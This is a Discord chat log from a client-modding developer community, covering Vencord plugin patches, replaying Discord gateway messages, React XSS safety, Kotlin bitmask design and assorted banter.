why do u need to fetch latest

solid gazelle
# royal nymph why do u need to fetch latest

i might be crazy but i feel like my husk usage has gone down a lot and i think it might be because some of my old messages with a husk or husk reaction were deleted and i need to figure out if thats a thing

viscid grove
oak pendant
#

how can i go to a specific message when clicking on an inapp notification?

async function handleMessage(message: DiscordMessage) {

    // some more code here 

    showNotification({
        title: "test notificaton",
        body: message.content,
        permanent: false,
        noPersist: false,
        onClick: () => {
          // ????
        }
    });
};
pearl stagBOT
oak pendant
brave burrow
#

Copy the inside of the function i gave and put it inside that onclick

fleet cedar
#

Or just, call that function?

quick crow
#

Horror

snow grail
#

@nimble bone are u aware of your vendroid fork shrimply crashing on the loading vendroid screen

snow grail
#

nnvm was my bad (didnt give it internet perms)

#

oh wow the visual refresh works amazingly on vendroid

#

this is actually usable

#

feature to set the colour of the top and bottom bar?

snow grail
sullen tapir
#

based pfp

oak pendant
brave burrow
#

I guess you could use navigationrouter then

oak pendant
brave burrow
#

navigationrouter.transitionto("/guildId/channelid/msgid")
Something like that, search for it

oak pendant
#

ah thanks thumbsUp

timid stream
#

Could we add Discross to this server :3

#

(Is there a server suggestions channel?)

royal nymph
#

what in the world is that
probably not

winged mantle
#

isn't that to use discord on wii

#

chat over http

ionic lake
#

god I love wii.... it was the best

royal nymph
still jolt
#

any java app ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

solid gazelle
#

@topaz sentinel this patch does the trick for handling when an image is clicked (so modal would be opened)

    patches: [
        {
            find: "imageAccessory,",
            replacement: {
                match: /onClick:(\i)(,.{0,500}originalLink.{0,500}onClick:)\1/,
                replace: "onClick:$self.onClick$2$self.onClick"
            }
        }
    ],
    onClick(...args) {
        new Logger("testing image patch").log("here's the args for image's onClick", args);
    }

im not sure if patchign the second onClick is necessary as i found only the first one gets triggered so im not sure but just in case this patch patches both

calm ruin
still jolt
#

curious if there's any way to force discord web to not use ws zlib-stream compression

cerulean plover
#

99% chance you want this

still jolt
#

xy is me being lazy to implement zlib-stream on my own ws server

cerulean plover
#

what are you actually doing

fleet cedar
#

You trying to make a custom discord server?

#

As in actual server, not guild

cerulean plover
#

are you making selfbot or are you making proxy for something idk

#

also i wouldnt risk trying to disable zlib-stream compression

still jolt
cerulean plover
#

guh

autumn sigil
still jolt
#

what libs

#

tryna just use pako.deflate on json and it just doesn't work for some reason

autumn sigil
#

ah

still jolt
#

even if I add 00 00 ff ff at the end of every message as per userdoccers

#

decoding the messages that discord normally sends just gives stuff like this ```json
PRESENCE_UPDATE":3,"o}u":"onlin_client_u":{"web":"onlin}broadcas4ustom Su"customoji":{"🌹36336}

#

essentially just wanna make my own small discordapi / gateway

cerulean plover
fleet cedar
#

You're not trying to decompress each packet individually or something silly like that, right?

#

I'm pretty sure it's a continuous stateful stream

still jolt
#

yeah it's horror to implement on serverside

#

which is why I wanna force discord web to not use compression

cerulean plover
#

horror question why do you need to do on server and not client

#

i still dont get why you're doing what you want to do

still jolt
#

me have discord ws messages saved in json locally
me wants to create a ws server to replay those message and/or other custom messages to play around with the client

cerulean plover
#

fun blobhuskcozy

still jolt
#

it is fun

#

just looking to disable zlib-stream to not have to implement it

#

already using a proxy to replace the ws url to my own

#

but guessing if I replace zlib-stream to nothing it will break everything

cerulean plover
#

ur still gonna need to encode with zlib-stream to discord itself probably

still jolt
#

huh ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

median root
#

holon issit posible to log output of building from

VencordNative.updater.rebuild()
``` method?
quick crow
#

I would start by looking at the code for the function

#

Then research getting the output of the methods it uses, not the function overall

median root
#

well time to learn electron

long stream
winged mantle
#

electron is actually very easy

median root
#

at first look atleast

#

theres prolly something there im not seeing

#

but i dont have infintei time

serene elk
#

why do you want the output

royal nymph
#

if there is an error it already returns it

median root
#

ok i shoulda tested it more

#

lemme write more of my bad code

broken shore
#

Failed to generate a string

#

Failed to generate a string

#

Failed to generate a string

still jolt
# broken shore Failed to generate a string

HAHALOSAH TURNED INTO AI NOOOOOO ​​​​​​​​​​​​​​​​​​​​​​​

lavish frigate
#

Im not too familiar with react but well im getting an image url from the user and putting it into a react component with an image tag, is this safe? Does react mitigate for example XSS?

return <img src={userImageUrlHere}>;
broken shore
#

(im trying to train kevin lmfao)

#

Failed to generate a string

fleet cedar
still jolt
#

kevin doesn't read programming ​​​​​​​​​​​​​​​​​​​​​​​​​

fleet cedar
#

That's csp's job

#

There can't be xss because xss happens when you splice strings

#

Which react doesn't do

#

It works on dom, not html

lavish frigate
#

well idk i thought it might just take stuff like " and put it in the src attribute and break stuff or something

fleet cedar
#

It puts the exact string you write as the src attribute

#

With no roundtripping through syntax that can be xss'd

lavish frigate
#

hm alright, thanks!

fleet cedar
#

To clarify, xss happens when you build html as strings rather than the tree it is

topaz sentinel
#

Any ideas why? I don't know why this official url would be a disallowed host

deep mulch
#

wing

frosty obsidian
#

guh can't send

deep mulch
#

malware

frosty obsidian
#

its 7000 chars long

deep mulch
#

guh?

frosty obsidian
#

184 lines

deep mulch
#

fix

#

@frosty obsidian do you use the copilot chat in idea

frosty obsidian
#

no

deep mulch
#

i use it for some things

#

documenting code, readme

frosty obsidian
#

im capable of producing my own slop

deep mulch
#

nop

frosty obsidian
#

don't need an ai to do it for me

deep mulch
#

you do

frosty obsidian
deep mulch
#

big

frosty obsidian
#

actually documenting things like a sane developer

deep mulch
#

what about making ALL lazy

frosty obsidian
#

why

deep mulch
#

big list

frosty obsidian
#

its created on app start regardless

deep mulch
#

its only used in toList i think

frosty obsidian
#

nop

deep mulch
#

guh?

frosty obsidian
#

i use it in the identify payload

deep mulch
#

why

frosty obsidian
#

want to

#

its got the newer capabilities

deep mulch
#

how much is leftr

#

in the api

frosty obsidian
#

the framework is completed

#

essentially

#

new routes and payloads will be added as needed

deep mulch
#

good

#

i need your opinion

#

im thinking of making anothjer project in ffmpeg-kt that adds a kotlin dsl wrapper around all the horror ffmpeg api

#

something like like ```kt
ffmpeg {
input("/path/to/input.mp4")
output("/path/to/output.mp4") {
videoCodec(VideoCodec.H264)
audioCodec(AudioCodec.AAC)
format(ContainerFormat.MP4)
}
}

frosty obsidian
#

ok

deep mulch
#

what do you think

#

do you think

frosty obsidian
#

sounds fine

deep mulch
#

what should the subproject name be

frosty obsidian
#

mpreg-kt

deep mulch
#

never

#

@frosty obsidian would you marry a fish

#

would you

#

i hope youi get struck by lightning

deep mulch
#

this jvm sigsegv is so hard to debug

#

it doesnt happen every time

#

sometimes i run the test 20 times and its fine

#

it used to be like every other test

#

literally just having to click rerun test 50000 times

autumn sigil
#

i just hardcode it and done

frosty obsidian
#

bad

autumn sigil
#

nah

frosty obsidian
#

yeah

autumn sigil
#

it does not matter to me, i will steal the normal clients capabilities anyway

frosty obsidian
#

this is way more readable and extendable

autumn sigil
#

extendable for what 😭

frosty obsidian
#

future capabilities

autumn sigil
#

a number is also extendable :3

frosty obsidian
#

an arbitrary number can be changed yeah

#

but you won't know what that change actually does

autumn sigil
#

i mean, does that matter? even if i treat them as a black box i will just have to change my gateway schemas no?

frosty obsidian
#

i just find it easier to maintain

#

especially if more eyes are gonna be on it

autumn sigil
#

mh

#

maybe i guess? but isnt that still mad overbuilt?

#

or is that just how people do it in java (kotlin is java yes!) trolley

frosty obsidian
#

its a common structure i use for all bitmasks

#

its actually the same pattern android themselves use

lavish frigate
frosty obsidian
#

it just looks like a lot because theres a lot of capabilities and im trying to document as much as possible

ornate quiver
frosty obsidian
#

the number isn't actually that big last i checked

royal nymph
frosty obsidian
#

i think its only 5 digits

ornate quiver
lavish frigate
royal nymph
#
- * Checks if the [capabilities] are included in this set
+ * Checks if at least one of the [capabilities] are included in this set
#

and add hasAll

frosty obsidian
#

i think it does check all

#

but also i don't need a hasAll

#

i don't think

royal nymph
#

=! 0

#

why even call ithasAny

frosty obsidian
#

its what android code rusher sent called it

royal nymph
#
operator fun contains(capabilities: Capabilities) = (bitmask and capabilities.bitmask) == capabilities.bitmask
#

then u can use in

#
Capabilities.LAZY_USER_NOTES in capabilities
royal nymph
#

the hasAny doesn't fulfill the contains contract

#
Capabilities.LAZY_USER_NOTES.hasAny(Capabilities.LAZY_UER_NOTES + Capabilities.SOMETHING_ELSE) // true
#

but tbh idk why they even need that

#

in makes more sense imo xd

autumn sigil
#

dude kotlin is such a silly little language

frosty obsidian
#

we don't like that either

royal nymph
frosty obsidian
#

we beg jetbrains for static keyword

royal nymph
#

it's really weird

#

why do they even do it this way

#

cause of being able to compile to languages that don't support static?

frosty obsidian
#

idfk

royal nymph
#

in compiled java the companion object looks so weird

#

ig companion is more powerful technically since you can have interfaces for them

#

and extend other companions

frosty obsidian
#

i think im gonna keep capabilities the same but apply your recommendation to my other bitmask wrapper

#

capabilities stuff is all internal

#

i don't even think i use the toList function, i just have it for parity with the other bitmask

royal nymph
#

couldn't you make a common class for Bitfields?

frosty obsidian
#

nop

royal nymph
#

that has all these methods

frosty obsidian
#

value class

royal nymph
#

oh

#

can you not extend value classes

frosty obsidian
#

you can't have backing properties on value classes

#

or anything

royal nymph
#

do you need backing properties though?

frosty obsidian
#

they are weird

frosty obsidian
#

i could try inheritance but i don't think it'd like it

#

ok a value class can inherit from an interface but can't be inherited from

#

i don't think i could make an interface without defining the underlying bitmask as a property

royal nymph
#

hmm yeah

frosty obsidian
#

yeah i pretty much have to choose between value class and extendability

royal nymph
#

I don't think there's an easy way to do this unless you're okay with having the bits defined on a separate name

#

that kinda sucks

frosty obsidian
#

im gonna stick with value class bc the inlining is more performant

royal nymph
#

kotlin should let value classes be able to extend other value classes as long as the value types are compatible

#

that'd be so good

ornate quiver
frosty obsidian
#

rusher loves half of cadence codebase being comments

royal nymph
frosty obsidian
#

the whole point was kinda preventing a second class

#

before it was constants it was an entirely separate enum

royal nymph
ornate quiver
#

UserFlags.Banned + UserFlags.Spammer + UserFlags.Shiggy

#

we need discord client fully in rust

frosty obsidian
#

erm actually kotlin is stupid and doesn't have bitwise operators

royal nymph
#

do you mean rust

runic sundial
#

Why rust when Zig exists???

ornate quiver
#

bro missed the whole point of rust

royal nymph
#

nah rust does have bitwise

frosty obsidian
#

i did not mean rust

royal nymph
#

but kotlin has bitwise tho

#

just with awful names 😭

runic sundial
#

I am here to evangelise not pay attention

frosty obsidian
#

not bitwise operators

#

infix functions

ornate quiver
ornate quiver
royal nymph
frosty obsidian
#

yeah

royal nymph
#

could also use an enum instead of object

frosty obsidian
#

rusher didn't like enum

#

i honestly don't mind copy pasting the methods since they're so tiny

ornate quiver
ornate quiver
royal nymph
#

do typealiases not enforce types at compile time?

ornate quiver
#

no

royal nymph
#

hmm

#

yeah that kinda sucks

ornate quiver
#

typealias is essentially like preprocessor

frosty obsidian
#

toString is the only big one and that's bc its specific to the bitfield

royal nymph
#

I thought they did

royal nymph
#

via reflection technically

ornate quiver
#

yeah

royal nymph
#

it probably wouldn't be too bad if you cache the reflection

ornate quiver
#

or time for another ksp plugin trolley

frosty obsidian
#

probably but more work than really necessary

#

i wrote that in like a minute

royal nymph
#

actually does kotlin have some kind of macros

ornate quiver
#

no

royal nymph
#

In rust you could generate toString at compile time

#

pretty sure that's how derive Debug and shit works xd

ornate quiver
#

compiler plugins are the closest you can get to macros

frosty obsidian
#

i don't even really need that, just makes debugging easier

#

was helpful when testing activity flags

royal nymph
#
x + x => x
#

malware..

frosty obsidian
#

they also made a typo

#

used defied instead of defined

lavish frigate
frosty obsidian
#

not dealing with ksp

#

horror

#

actually i could use live template

lavish frigate
#

rust macros are witchcraft

dusty moth
autumn sigil
silver mauve
#

YT embeds now play ads

fleet cedar
#

What's with the rainbow glow

silver mauve
#

there is a plugin to block ads in YT watchtogether activity, so perhaps there is a way to block it

silver mauve
#

Catpuccin is the one i use

royal nymph
#

looks awful you should turn it off

silver mauve
#

says the people in a server with rainbow in their icon

#

also i keep it to piss people off

#

gets them mad for some reason

#

btw does ClearURL work for anyone else lately?

winged mantle
silver mauve
#

its worse

#

from embed

#

and the ads are unskippable

fleet cedar
#

Imagine not running ubo

silver mauve
#

on the desktop client

#

if you on web its no problem

silver mauve
royal nymph
#

sooo I was reading the mdn element list cause I realised there are a lot of html elements ive never heard of and I found the best element ever

#

The <plaintext> HTML element renders everything following the start tag as raw text, ignoring any following HTML. There is no closing tag, since everything after it is considered raw text.

#

I really can't understand why they would deprecate such a fire tag

cerulean plover
royal nymph
#

tias

lavish frigate
#

They missed

lament bay
#

marquee most fiure tag

ionic lake
#

marquee the best

winged mantle
#

would be cool to have a way to have raw text

#

like a R"()" string

blazing haven
#

i actually googled around a bit cuz this was interesting

#

someone said

<pre><code><script style="display:block" type="text/plain">..your raw text here..</script></code></pre>

#

xd

fleet cedar
#

Just escape your fucking code like a sensible human being and chuck it in a pre

lavish frigate
winged mantle
#

instead of escaping arbritary content put it directly inside a script tag :)

fleet cedar
#

Dog forbid your data contains </script>

lament bay
#

take a photo of code and put it in <img>

fleet cedar
#

That's poor accessibility

#

Gotta put the actual code as alt text

haughty hinge
haughty hinge
weary plaza
lavish frigate
#

lc.eval

day = "Monday"
x = day.length
print(x)
visual shellBOT
lavish frigate
#

@weary plaza

weary plaza
#

lc.help

visual shellBOT
# weary plaza lc.help

<:i:1263592345845108747> Search Commands

​ ​ audio ​ ​ ​ ​ ​Cross-platform music search
​ ​ bingimage ​ ​ ​ ​ ​Search on Bing Images
​ ​ bing ​ ​ ​ ​ ​Search on Bing
​ ​ image ​ ​ ​ ​ ​Search on Google Images
​ ​ google ​ ​ ​ ​ ​Search on Google
​ ​ lyrics ​ ​ ​ ​ ​Search song lyrics
​ ​ quora ​ ​ ​ ​ ​Search on Quora
​ ​ reddit ​ ​ ​ ​ ​Search on Reddit
​ ​ reverse-image ​ ​ ​ ​ ​Reverse image search
​ ​ urbandictionary ​ ​ ​ ​ ​Search on UrbanDictionary
​ ​ wikihow ​ ​ ​ ​ ​Search on WikiHow
​ ​ wikipedia ​ ​ ​ ​ ​Search on Wikipedia
​ ​ wolframalpha ​ ​ ​ ​ ​Compute via Wolfram|Alpha
​ ​ xkcd ​ ​ ​ ​ ​Search XKCD comics.
​ ​ youtube ​ ​ ​ ​ ​Search YouTube videos, channels and play...

<:i:1263590898906697800> Use lc.help <command> to view more information about a command.
<:i:1263591704439689226> Need help with anything else? https://discord.gg/xQNBB3WFne

weary plaza
#

lc.xkcd machine

visual shellBOT
long stream
dusty moth
visual shellBOT
dusty moth
#

lc.eval bash day = "Monday" x = day.length print(x)

visual shellBOT
balmy lintel
#

lc.eval ```ruby
puts (1..100).select { |n| n % 3 == 0 || n % 5 == 0 }.reduce(0, :+)

balmy lintel
#

wrong channel my bad

ornate quiver
#

i wish every language had a way to ignore access modifiers
wires what do you mean I can't access a private member

the only language that even comes somewhat close to this is kotlin with the internal visibility modifier which can be bypassed

#

i hate when library authors tell me what I can and can't use
you have to use these cursed workarounds all the time (forking fucking everything, reflection if even possible etc)
visibility modifiers should just be a guidance of what the consumer should probably only use, not an enforcement

#

languages without even reflection are truly horrible
i hate having to fork every fucking library just let me use the private stuff directly

magic shale
#

how about remove them entirely and just use _name if you want people to not use it

ornate quiver
#

yeah that's a solution

magic shale
#

im tired of public static abstract override blobcatcozy void name()

languid tide
#

<@&1205614728148422716> ← what is this role for

frosty obsidian
#

no programming